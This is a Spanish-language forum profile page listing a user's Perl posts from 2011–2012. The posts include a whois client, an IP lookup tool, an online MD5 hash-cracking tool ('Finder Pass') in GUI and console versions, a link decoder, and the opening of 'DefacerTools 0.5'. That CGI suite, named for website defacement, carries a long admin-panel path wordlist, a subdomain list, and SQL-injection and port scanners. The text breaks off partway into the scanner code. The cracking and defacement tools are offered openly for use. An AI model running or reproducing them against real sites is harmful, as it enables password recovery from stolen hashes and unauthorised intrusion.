Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#421
Perl / [Perl Tk] Whois Client 0.2
Marzo 31, 2012, 10:31:37 PM
La version mejorada de un cliente whois que hice hace un largooooooooo tiempo.

Para usarlo tienen que instalar el modulo necesario de la siguiente manera.

Código: text

ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd


Una imagen del programa


El codigo es

Código: perl

#!usr/bin/perl
#Whois Client 0.2
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd

use Tk;
use Tk::ROText;
use Net::Whois::Raw;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "cyan";

$yu =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$yu->title("Whois Client 0.2 || Coded By Doddy H");
$yu->geometry("400x350+20+20");
$yu->resizable( 0, 0 );

$yu->Label(
    -text       => "Page : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $targe = $yu->Entry(
    -width      => 35,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 26 );
$yu->Button(
    -text             => "Get Info",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&whoisit
)->place( -x => 290, -y => 24 );
$yu->Label(
    -text       => "Information",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 140, -y => 85 );
my $data = $yu->Scrolled(
    "ROText",
    -width      => 40,
    -height     => 12,
    -scrollbars => "e",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 45, -y => 150 );

sub whoisit {

    $data->delete( "0.1", "end" );
    $data->insert( "end", whois( $targe->get ) );

}

MainLoop;

#The End ?
#422
Perl / [Perl Tk] Get IP 0.1
Marzo 31, 2012, 09:06:05 PM
Estaba muriendome de aburrimiento y me programe este pequeño programa en 5 minutos , que sirve para obtener la IP de un Host cualquiera.

Una imagen


El codigo

Código: perl

#!usr/bin/perl
#Get IP 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use IO::Socket;

my $color_fondo = "black";
my $color_texto = "yellow";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $ua =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ua->title("Get IP || Coded By Doddy H");
$ua->geometry("350x110+20+20");
$ua->resizable( 0, 0 );

$ua->Label(
    -text       => "Host : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 20, -x => 20 );
my $host = $ua->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 25, -x => 70 );
$ua->Button(
    -text             => "Get IP",
    -width            => 10,
    -command          => \&quien,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -y => 23, -x => 260 );

$ua->Label(
    -text       => "IP : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 60, -x => 20 );
my $ip = $ua->Entry(
    -width      => 33,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 65, -x => 52 );

MainLoop;

sub quien {
    $ip->configure( -text => get_ip( $host->get ) );
}

sub get_ip {
    my $get = gethostbyname( $_[0] );
    return inet_ntoa($get);
}

#The End ?
#423
Perl / [Perl Tk] Finder Pass 0.4
Marzo 31, 2012, 05:51:54 PM
La version Tk de este programa que eh hecho para crackear hashes md5 de forma online

Una imagen seria


El codigo

Código: perl

#!usr/bin/perl
#Finder Pass 0.4
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::ListBox;
use Tk::Dialog;
use Tk::FileSelect;
use Cwd;
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "red";

my $ta =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ta->title("Finder Pass 0.4 (C) Doddy Hackman 2012");
$ta->geometry("600x400+20+20");
$ta->resizable( 0, 0 );

$d = $ta->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $max = $d->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aba = $d->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exa = $d->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$d->pack( -side => "top", -fill => "x" );

$max->command(
    -label      => "Crack",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&cracknow
);
$max->command(
    -label      => "Add Hash",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addhash
);
$max->command(
    -label      => "Add File with hashes",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addfilea
);
$max->command(
    -label      => "Clean List",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&cleanow
);

$aba->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&about
);

$exa->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&salir
);

$ta->Label(
    -text       => "Hashes",
    -background => $color_fondo,
    -foreground => $color_texto,
    -font       => "Impact"
)->place( -x => 110, -y => 50 );
my $had = my $has = $ta->Listbox(
    -width      => 36,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 32, -y => 100 );

$ta->Label(
    -text       => "Results",
    -background => $color_fondo,
    -foreground => $color_texto,
    -font       => "Impact"
)->place( -x => 380, -y => 50 );
my $red = my $res = $ta->Listbox(
    -width      => 36,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 300, -y => 100 );

my $status = $ta->Label(
    -text       => "Status : <None>",
    -background => $color_fondo,
    -foreground => $color_texto,
    -font       => "Impact1"
)->place( -x => 220, -y => 350 );

MainLoop;

sub cracknow {

    my @hashes = $had->get( "0.0", "end" );
    my @hashes = repes(@hashes);

    for my $ha (@hashes) {
        $status->configure( -text => "[+] Searching .." );
        $ta->update;
        my $re = crackit($ha);
        if ( $re =~ /false01/ig ) {
            $red->insert( "end", "Not Found" );
        }
        else {
            $red->insert( "end", $re );
            savefile( "hashes-found.txt", $ha . ":" . $re );
        }
    }
    $status->configure( -text => "Status : <None>" );
}

sub addfilea {

    my $mediox = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $mediox->geometry("390x90+20+20");
    $mediox->resizable( 0, 0 );
    $mediox->title("Add File");

    $mediox->Label(
        -text       => "File : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $enafa = $mediox->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 55 );
    $mediox->Button(
        -text             => "Browse",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronax
    )->place( -y => 33, -x => 265 );
    $mediox->Button(
        -text             => "Load",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronaxx
    )->place( -y => 33, -x => 320 );

    sub bronax {
        $browse = $mediox->FileSelect( -directory => getcwd() );
        my $fileax = $browse->Show;
        $enafa->configure( -text => $fileax );
    }

    sub bronaxx {
        open( OPEN, $enafa->get );
        my @ve = <OPEN>;
        close OPEN;
        for my $no (@ve) {
            chomp $no;
            if ( ver_length($no) ) {
                $had->insert( "end", $no );
            }
        }
    }
}

sub addhash {

    my $plac = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $plac->geometry("350x90+20+20");
    $plac->resizable( 0, 0 );
    $plac->title("Add Hash");

    $plac->Label(
        -text       => "Hash : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $ewa = $plac->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 60 );
    $plac->Button(
        -text             => "Add",
        -background       => $color_fondo,
        -activebackground => $color_texto,
        -foreground       => $color_texto,
        -width            => 7,
        -command          => \&addnowa
    )->place( -y => 33, -x => 275 );

    sub addnowa {
        if ( ver_length( $ewa->get ) ) {
            $had->insert( "end", $ewa->get );
        }
        else {
            $ta->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "Hash invalid",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
    }
}

sub cleanow {
    $had->delete( 0.0, "end" );
    $red->delete( 0.0, "end" );
}

sub about {
    $ta->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "This program was coded by Doddy Hackman in 2012",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_text
    )->Show();
}

sub salir {
    exit(1);
}

sub crackit {

    my $target = shift;

    chomp $target;

    my %hash = (

        'http://md5.hashcracking.com/search.php?md5=' => {
            'tipo'  => 'get',
            'regex' => "Cleartext of $target is (.*)",
        },

        'http://www.hashchecker.com/index.php?_sls=search_hash' => {
            'variables' => { 'search_field' => $target, 'Submit' => 'search' },
            'regex' =>
              "<td><li>Your md5 hash is :<br><li>$target is <b>(.*)<\/b>",
        },

        'http://md5.rednoize.com/?q=' => {
            'tipo'  => 'get',
            'regex' => "<div id=\"result\" >(.*)<\/div>"
        },

        'http://md52.altervista.org/index.php?md5=' => {
            'tipo'  => 'get',
            'regex' => "<br>Password: <font color=\"Red\">(.*)<\/font><\/b>"
          }

    );

    for my $data ( keys %hash ) {
        $ta->update;
        if ( $hash{$data}{tipo} eq "get" ) {
            $code = toma( $data . $target );
            if ( $code =~ /$hash{$data}{regex}/ig ) {
                my $found = $1;
                unless ( $found =~ /\[Non Trovata\]/ ) {
                    return $found;
                    last;
                }
            }
        }
        else {
            $code = tomar( $data, $hash{$data}{variables} );
            if ( $code =~ /$hash{$data}{regex}/ig ) {
                my $found = $1;
                return $found;
                last;
            }
        }
    }
    return "false01";
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub ver_length {
    return true if length( $_[0] ) == 32;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

#The End ?
#424
Perl / [Perl] Finder Pass 0.3
Marzo 31, 2012, 05:51:24 PM
La nueva version de un programa que habia hecho para crackear hashes md5 mediante paginas online.

Código: perl

#!usr/bin/perl
#Finder Pass 0.3
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

menu();

sub menu {

    head();

    print "[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {
        print "\n\n[+] Hash : ";
        chomp( my $ha = <stdin> );
        if ( ver_length($ha) ) {
            print "\n\n[+] Cracking Hash...\n";
            my $re = crackit($ha);
            unless ( $re =~ /false01/ ) {
                print "\n[+] Cracked : $re\n\n";
                savefile( "hashes-found.txt", $ha . ":" . $re );
            }
            else {
                print "\n[-] Not Found\n\n";
            }
        }
        else {
            print "\n\n[-] Hash invalid\n\n";
        }
        print "\n[+] Finished";
        <stdin>;
        menu();
    }
    if ( $op eq "2" ) {
        print "\n\n[+] Wordlist : ";
        chomp( my $fi = <stdin> );
        if ( -f $fi ) {
            print "\n\n[+] Opening File\n";
            open( WORD, $fi );
            my @varios = <WORD>;
            close WORD;
            my @varios = repes(@varios);
            print "[+] Hashes Found : " . int(@varios);
            print "\n\n[+] Cracking hashes...\n\n";
            for $hash (@varios) {
                chomp $hash;
                if ( ver_length($hash) ) {
                    my $re = crackit($hash);
                    unless ( $re =~ /false01/ ) {
                        print "[+] $hash : $re\n";
                        savefile( "hashes-found.txt", $hash . ":" . $re );
                    }
                }
            }
        }
        else {
            print "\n\n[-] File Not Found\n\n";
        }
        print "\n[+] Finished";
        <stdin>;
        menu();
    }
    if ( $op eq "3" ) {
        copyright();
    }
}

sub crackit {

    my $target = shift;

    chomp $target;

    my %hash = (

        'http://md5.hashcracking.com/search.php?md5=' => {
            'tipo'  => 'get',
            'regex' => "Cleartext of $target is (.*)",
        },

        'http://www.hashchecker.com/index.php?_sls=search_hash' => {
            'variables' => { 'search_field' => $target, 'Submit' => 'search' },
            'regex' =>
              "<td><li>Your md5 hash is :<br><li>$target is <b>(.*)<\/b>",
        },

        'http://md5.rednoize.com/?q=' => {
            'tipo'  => 'get',
            'regex' => "<div id=\"result\" >(.*)<\/div>"
        },

        'http://md52.altervista.org/index.php?md5=' => {
            'tipo'  => 'get',
            'regex' => "<br>Password: <font color=\"Red\">(.*)<\/font><\/b>"
          }

    );

    for my $data ( keys %hash ) {
        if ( $hash{$data}{tipo} eq "get" ) {
            $code = toma( $data . $target );
            if ( $code =~ /$hash{$data}{regex}/ig ) {
                my $found = $1;
                unless ( $found =~ /\[Non Trovata\]/ ) {
                    return $found;
                    last;
                }
            }
        }
        else {
            $code = tomar( $data, $hash{$data}{variables} );
            if ( $code =~ /$hash{$data}{regex}/ig ) {
                my $found = $1;
                return $found;
                last;
            }
        }
    }
    return "false01";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n";
    <stdin>;
    exit(1);
}

sub head {
    print qq(


##########  #########  #########     #####   #    ###  ###
#  # #  ##  #  #   #   #  # #  #     #  #   #   #  # #  #
#    #  ##  #  #    #  #    #  #     #  #  # #  #    #   
###  #  # # #  #    #  ###  ###      ###   # #   ##   ##
#    #  # # #  #    #  #    # #      #    #####    #    #
#    #  #  ##  #   #   #  # #  #     #    #   # #  # #  #
###  ######  # #####   ########  #   ###  ### ######  ###




[++] Options


[+] 1 : Hash
[+] 2 : File with hashes
[+] 3 : Exit


);
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub ver_length {
    return true if length( $_[0] ) == 32;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

#The End ?
#425
Perl / [Perl Tk] Lix.In Decoder 0.2
Marzo 28, 2012, 05:58:35 PM
Hola a todos.

Aca les traigo la version Tk de un script que habia hecho para decodificar las url You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Lo bueno del programa es que guarda todo los logs en la carpeta donde ejecutaron el programa

Una imagen del programa seria


Código: perl

#!usr/bin/perl
#Lix.In Decoder 0.2
#Version Tk
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);
use Tk;
use Tk::Dialog;

#if ( $^O eq 'MSWin32' ) {
#    use Win32::Console;
#    Win32::Console::Free();
#}

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my $color_fondo = "black";
my $color_text  = "green";

my $ben =
  MainWindow->new( -background => $color_fondo, -foreground => $color_text );

$ben->title("Lix.In Decoder 0.2 (C) Doddy Hackman 2012");
$ben->geometry("492x385+20+20");
$ben->resizable( 0, 0 );

$ben->Label(
    -background => $color_fondo,
    -foreground => $color_text,
    -text       => "Page : ",
    -font       => "Impact1"
)->place( -x => 20, -y => 20 );
my $page = $ben->Entry(
    -background => $color_fondo,
    -foreground => $color_text,
    -width      => 40
)->place( -x => 73, -y => 24 );

$ben->Button(
    -text             => "Decode",
    -width            => 10,
    -command          => \&home,
    -background       => $color_fondo,
    -foreground       => $color_text,
    -activebackground => $color_text
)->place( -x => 325, -y => 23 );
$ben->Button(
    -text             => "Logs",
    -width            => 10,
    -command          => \&logs,
    -background       => $color_fondo,
    -foreground       => $color_text,
    -activebackground => $color_text
)->place( -x => 400, -y => 23 );

$ben->Label(
    -text       => "Links Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_text
)->place( -x => 200, -y => 80 );
my $links = $ben->Listbox(
    -width      => 70,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_text
)->place( -x => 32, -y => 140 );

MainLoop;

sub home {

    $links->delete( "0.0", "end" );

    my $url = $page->get;

    my $code = toma($url);

    while ( $code =~ m{http://lix\.in/(-\w+)}ig ) {
        push( @urls, "http://lix.in/" . $1 );
    }

    while ( $code =~ m{http://lix\.in/(\w+)}ig ) {
        push( @urls, "http://lix.in/-" . $1 );
    }

    my @urls = repes(@urls);

    for my $l (@urls) {
        chomp $l;
        $ben->update;
        decode_link( $l, $url );
    }
}

sub decode_link {

    my ( $link, $url ) = @_;

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split($url);

    if ( $link =~ /-(.*)/ ) {
        my $co = "-" . $1;
        chomp $co;
        my $code =
          tomar( $link,
            { "tiny" => $co, "submit" => "continue", "submit" => "submit" } );
        if ( $code =~ /<iframe  name="ifram" src="(.*)" marginwidth="0"/ ) {
            my $link = $1;
            chomp $link;
            unless ( $link =~ /lix\.in/ ) {
                savefile( $auth . ".txt", $link );
                $links->insert( "end", $link );
            }
        }
    }
}

sub logs {

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $page->get );
    my $f = $auth . ".txt";

    if ( -f $f ) {
        system($f);
    }
    else {
        $ben->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Logs not found",
            -background       => $color_fondo,
            -foreground       => $color_text,
            -activebackground => $color_text
        )->Show();
    }
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

# The End ?

#426
Python / Re:[Guia] Iniciando en Python
Marzo 27, 2012, 09:05:27 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Siempre es bueno leer guias creadas por programadores constantes y eficientes :)

entonces no vas a leer mi guia ?  xDD.
#427
Perl / [Perl] DefacerTools 0.5 (regalo de navidad)
Diciembre 10, 2011, 09:33:45 AM
Hola aca les traigo un regalo de navidad que hice en 3 horas , es un programa en CGI para usar en webs que
soporten el mismo , yo hice todas las pruebas con xampp y al parecer todo funciona bien.

Las funciones del programa son :

  • HexConverter
  • PanelFinder
  • PathsFinder
  • SQLi Scanner
  • FuzzDNS
  • FinderPass
  • PortScanner

    El codigo del programa (formateado con perltidy) es

    defacertools.cgi

    Código: perl

    #!"\xampp\perl\bin\perl.exe"
    #
    #DefacerTools 0.5
    #
    #(C) Doddy Hackman 2012
    #
    #

    use CGI;
    use LWP::UserAgent;
    use URI::Split qw(uri_split);
    use HTML::LinkExtor;
    use IO::Socket;

    @panels = (
        'admin/admin.asp',               'admin/login.asp',
        'admin/index.asp',               'admin/admin.aspx',
        'admin/login.aspx',              'admin/index.aspx',
        'admin/webmaster.asp',           'admin/webmaster.aspx',
        'asp/admin/index.asp',           'asp/admin/index.aspx',
        'asp/admin/admin.asp',           'asp/admin/admin.aspx',
        'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
        'admin/',                        'login.asp',
        'login.aspx',                    'admin.asp',
        'admin.aspx',                    'webmaster.aspx',
        'webmaster.asp',                 'login/index.asp',
        'login/index.aspx',              'login/login.asp',
        'login/login.aspx',              'login/admin.asp',
        'login/admin.aspx',              'administracion/index.asp',
        'administracion/index.aspx',     'administracion/login.asp',
        'administracion/login.aspx',     'administracion/webmaster.asp',
        'administracion/webmaster.aspx', 'administracion/admin.asp',
        'administracion/admin.aspx',     'php/admin/',
        'admin/admin.php',               'admin/index.php',
        'admin/login.php',               'admin/system.php',
        'admin/ingresar.php',            'admin/administrador.php',
        'admin/default.php',             'administracion/',
        'administracion/index.php',      'administracion/login.php',
        'administracion/ingresar.php',   'administracion/admin.php',
        'administration/',               'administration/index.php',
        'administration/login.php',      'administrator/index.php',
        'administrator/login.php',       'administrator/system.php',
        'system/',                       'system/login.php',
        'admin.php',                     'login.php',
        'administrador.php',             'administration.php',
        'administrator.php',             'admin1.html',
        'admin1.php',                    'admin2.php',
        'admin2.html',                   'yonetim.php',
        'yonetim.html',                  'yonetici.php',
        'yonetici.html',                 'adm/',
        'admin/account.php',             'admin/account.html',
        'admin/index.html',              'admin/login.html',
        'admin/home.php',                'admin/controlpanel.html',
        'admin/controlpanel.php',        'admin.html',
        'admin/cp.php',                  'admin/cp.html',
        'cp.php',                        'cp.html',
        'administrator/',                'administrator/index.html',
        'administrator/login.html',      'administrator/account.html',
        'administrator/account.php',     'administrator.html',
        'login.html',                    'modelsearch/login.php',
        'moderator.php',                 'moderator.html',
        'moderator/login.php',           'moderator/login.html',
        'moderator/admin.php',           'moderator/admin.html',
        'moderator/',                    'account.php',
        'account.html',                  'controlpanel/',
        'controlpanel.php',              'controlpanel.html',
        'admincontrol.php',              'admincontrol.html',
        'adminpanel.php',                'adminpanel.html',
        'admin1.asp',                    'admin2.asp',
        'yonetim.asp',                   'yonetici.asp',
        'admin/account.asp',             'admin/home.asp',
        'admin/controlpanel.asp',        'admin/cp.asp',
        'cp.asp',                        'administrator/index.asp',
        'administrator/login.asp',       'administrator/account.asp',
        'administrator.asp',             'modelsearch/login.asp',
        'moderator.asp',                 'moderator/login.asp',
        'moderator/admin.asp',           'account.asp',
        'controlpanel.asp',              'admincontrol.asp',
        'adminpanel.asp',                'fileadmin/',
        'fileadmin.php',                 'fileadmin.asp',
        'fileadmin.html',                'administration.html',
        'sysadmin.php',                  'sysadmin.html',
        'phpmyadmin/',                   'myadmin/',
        'sysadmin.asp',                  'sysadmin/',
        'ur-admin.asp',                  'ur-admin.php',
        'ur-admin.html',                 'ur-admin/',
        'Server.php',                    'Server.html',
        'Server.asp',                    'Server/',
        'wp-admin/',                     'administr8.php',
        'administr8.html',               'administr8/',
        'administr8.asp',                'webadmin/',
        'webadmin.php',                  'webadmin.asp',
        'webadmin.html',                 'administratie/',
        'admins/',                       'admins.php',
        'admins.asp',                    'admins.html',
        'administrivia/',                'Database_Administration/',
        'WebAdmin/',                     'useradmin/',
        'sysadmins/',                    'admin1/',
        'system-administration/',        'administrators/',
        'pgadmin/',                      'directadmin/',
        'staradmin/',                    'ServerAdministrator/',
        'SysAdmin/',                     'administer/',
        'LiveUser_Admin/',               'sys-admin/',
        'typo3/',                        'panel/',
        'cpanel/',                       'cPanel/',
        'cpanel_file/',                  'platz_login/',
        'rcLogin/',                      'blogindex/',
        'formslogin/',                   'autologin/',
        'support_login/',                'meta_login/',
        'manuallogin/',                  'simpleLogin/',
        'loginflat/',                    'utility_login/',
        'showlogin/',                    'memlogin/',
        'members/',                      'login-redirect/',
        'sub-login/',                    'wp-login/',
        'login1/',                       'dir-login/',
        'login_db/',                     'xlogin/',
        'smblogin/',                     'customer_login/',
        'UserLogin/',                    'login-us/',
        'acct_login/',                   'admin_area/',
        'bigadmin/',                     'project-admins/',
        'phppgadmin/',                   'pureadmin/',
        'sql-admin/',                    'radmind/',
        'openvpnadmin/',                 'wizmysqladmin/',
        'vadmind/',                      'ezsqliteadmin/',
        'hpwebjetadmin/',                'newsadmin/',
        'adminpro/',                     'Lotus_Domino_Admin/',
        'bbadmin/',                      'vmailadmin/',
        'Indy_admin/',                   'ccp14admin/',
        'irc-macadmin/',                 'banneradmin/',
        'sshadmin/',                     'phpldapadmin/',
        'macadmin/',                     'administratoraccounts/',
        'admin4_account/',               'admin4_colon/',
        'radmind-1/',                    'Super-Admin/',
        'AdminTools/',                   'cmsadmin/',
        'SysAdmin2/',                    'globes_admin/',
        'cadmins/',                      'phpSQLiteAdmin/',
        'navSiteAdmin/',                 'server_admin_small/',
        'logo_sysadmin/',                'server/',
        'database_administration/',      'power_user/',
        'system_administration/',        'ss_vms_admin_sm/'
    );

    my @dns = ('www');

    #my @dns = ('www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business','chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail','e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1','firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https','hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus','lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist','mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup','newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost','popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read','redcreek','redhat','route','router','scanner','screen','screening','s#ecure','seek','smail','smap','smtp','smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend','trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file','fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access','dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts','test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple','hp-ux','bigip','pc');

    my $nave = LWP::UserAgent->new;
    $nave->agent(
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );
    $nave->timeout(5);

    my %rta;

    my $que  = new CGI;
    my @ques = $que->param;

    for (@ques) {
        $rta{$_} = $que->param($_);
    }

    print "Content-type:text/html\n\n";
    print "

    <style type=text/css>


    .main {
    margin : -287px 0px 0px -490px;
    border : White solid 1px;
    BORDER-COLOR: #00FF00;
    }

    #pie {
    position: absolute;
    bottom: 0;
    }

    body,a:link {
    font: normal 16px Verdana, Arial, Helvetica,
    sans-serif;
    background-color: #000000;
    color:#00FF00;
    Courier New;
    cursor:crosshair;
    font-size: small;
    }

    input,table.outset,table.bord,table,textarea,select {
    background-color:black;color:#00FF00;
    border: solid 1px #00FF00;
    border-color:#00FF00
    }

    a:link,a:visited,a:active {
    color: #00FF00;
    font: normal 16px Verdana, Arial, Helvetica,
    sans-serif;
    text-decoration: none;
    }

    </style>";

    if ( $rta{'hex'} ) {
        logouno();
        print
    qq(<form method=post action=''><b>Text to encode : </b><input type=text name=textocode value=test><input type=submit name=codificar value=Encode></form>);
        copyright();
    }
    elsif ( $rta{'textocode'} ) {
        logouno();
        print "[+] Encode : <b>" . encode( $rta{'textocode'} ) . "</b><br><br>";
        print "</center>";
        copyright();
    }
    elsif ( $rta{'panelfinder'} ) {
        logodos();
        print
    qq(<form method=post action=''><b>Page : </b><input type=text name=buscarpanel value=http://localhost/><input type=submit value=Find></form>);
        copyright();
    }
    elsif ( $rta{'buscarpanel'} ) {

        my $page = $rta{'buscarpanel'};
        logodos();
        print "<br>[+] Scanning $page<br><br>";
        for $path (@panels) {
            $code = tomax( $page . "/" . $path );
            if ( $code->is_success ) {
                print "[Link] : " . $page . "/" . $path . "<br>";
            }
        }
        print "<br><br>[+] Finish<br>";
        copyright();
    }
    elsif ( $rta{'pathsfinder'} ) {
        logotres();
        print
    qq(<form method=post action=''><b>Page : </b><input type=text name=buscarpaths value=http://localhost/doddy><input type=submit name=codificar value=Find></form>);
        copyright();
    }
    elsif ( $rta{'buscarpaths'} ) {
        logotres();

        my $page = $rta{'buscarpaths'};

        my $code  = toma($page);
        my @links = get_links($code);

        print "<br><br>[+] Finding paths<br><br>";

        for my $com (@links) {
            my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
            if ( $path =~ /\/(.*)$/ ) {
                my $path1 = $1;
                $page =~ s/$path1//ig;
                my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
                if ( $path =~ /(.*)\// ) {
                    my $parche = $1;
                    unless ( $repetidos =~ /$parche/ ) {
                        $repetidos .= " " . $parche;
                        my $code = toma( "http://" . $auth . $parche );

                        if ( $code =~ /Index of (.*)</ig ) {
                            my $dir_found = $1;
                            chomp $dir_found;
                            print "[+] Directory Found : $page/$dir_found<br>";
                        }
                    }
                }
            }
        }
        print "<br><br>[+]Finished<br>";
        copyright();
    }
    elsif ( $rta{'sqliscanner'} ) {
        logocuatro();
        print
    qq(<form method=post action=''><b>Page : </b><input type=text name=buscarsql value=http://localhost/sql.php?id=><input type=submit name=codificar value=Scan></form>);
        copyright();
    }
    elsif ( $rta{'buscarsql'} ) {
        logocuatro();
